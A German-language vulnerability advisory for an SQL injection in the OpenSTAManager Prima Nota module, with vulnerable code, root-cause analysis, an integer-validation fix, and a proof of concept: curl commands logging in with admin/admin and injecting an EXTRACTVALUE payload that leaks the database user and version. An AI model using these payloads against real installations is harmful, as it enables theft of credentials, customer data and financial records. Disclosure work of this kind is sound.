
CVE-2026-24419 - OpenSTAManager weist eine SQL-Injection im Modul Prima Nota auf.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-24419 |
| Schweregrad | HIGH |
| Sicherheitshinweis | Sicherheitshinweis ansehen |
| Entdeckt von | Lukasz Rybak |
Eine kritische fehlerbasierte SQL-Injection-Schwachstelle (Error-Based SQL Injection) im Modul Prima Nota (Journalbuchung) von OpenSTAManager v2.9.8 ermöglicht es authentifizierten Angreifern, vollständige Datenbankinhalte – einschließlich Benutzeranmeldedaten, personenbezogener Kundendaten (PII) und Finanzunterlagen – über XML-Fehlermeldungen zu extrahieren, indem sie bösartigen SQL-Code in URL-Parameter injizieren.
Status: ✅ Bestätigt und an einer Live-Instanz getestet (v2.9.8)
Verwundbare Parameter: id_documenti (GET-Parameter)
Betroffener Endpunkt: /modules/primanota/add.php
Angriffstyp: Fehlerbasierte SQL-Injection (IN-Klausel)
OpenSTAManager v2.9.8 enthält eine kritische fehlerbasierte SQL-Injection-Schwachstelle in der Datei add.php des Moduls Prima Nota (Journalbuchung). Die Anwendung validiert nicht, dass die durch Kommas getrennten Werte aus GET-Parametern Ganzzahlen sind, bevor sie diese in SQL-IN()-Klauseln verwendet. Dadurch können Angreifer beliebige SQL-Befehle injizieren und über XPATH-Fehlermeldungen sensible Daten extrahieren.
Verwundbarkeitskette:
Einstiegspunkt: /modules/primanota/add.php (Zeilen 63–67)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
Auswirkung: Die Funktion get() ruft benutzergesteuerte URL-Parameter ab, explode(',', (string) ...) teilt sie per Komma auf, aber KEINE Validierung stellt sicher, dass die Elemente Ganzzahlen sind.
SQL-Injection-Punkt: /modules/primanota/add.php (Zeile 306)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
Auswirkung: Array-Elemente aus $id_documenti werden mithilfe von implode() direkt konkateniert, ohne Typvalidierung oder prepare(), was vollständige SQL-Injection ermöglicht.
Ursachenanalyse:
Die Schwachstelle besteht, weil:
get('id_documenti') gibt benutzergesteuerte Zeichenketten zurückexplode(',', (string) $value) teilt per Komma auf, validiert aber keine Typenimplode(',', $array) fügt Array-Elemente direkt in SQL ein?id_documenti=1) AND EXTRACTVALUE(...) %23Betroffener Codepfad:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
Schritt 1: Anmelden
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Schritt 2: Schwachstelle verifizieren (fehlerbasierte SQL-Injection)
Test 1: Datenbankbenutzer und Version extrahieren
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
Antwort (für den Angreifer sichtbare Fehlermeldung):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
Alle authentifizierten Benutzer mit Zugriff auf das Modul Prima Nota (Journalbuchung).
Primäre Behebung – Typvalidierung:
Datei: /modules/primanota/add.php
VORHER (verwundbar – Zeilen 63–67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
NACHHER (behoben):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Entdeckt von Łukasz Rybak
Diese CVE wurde nach den Grundsätzen der koordinierten Offenlegung von Sicherheitslücken (Coordinated Vulnerability Disclosure) verantwortungsvoll offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.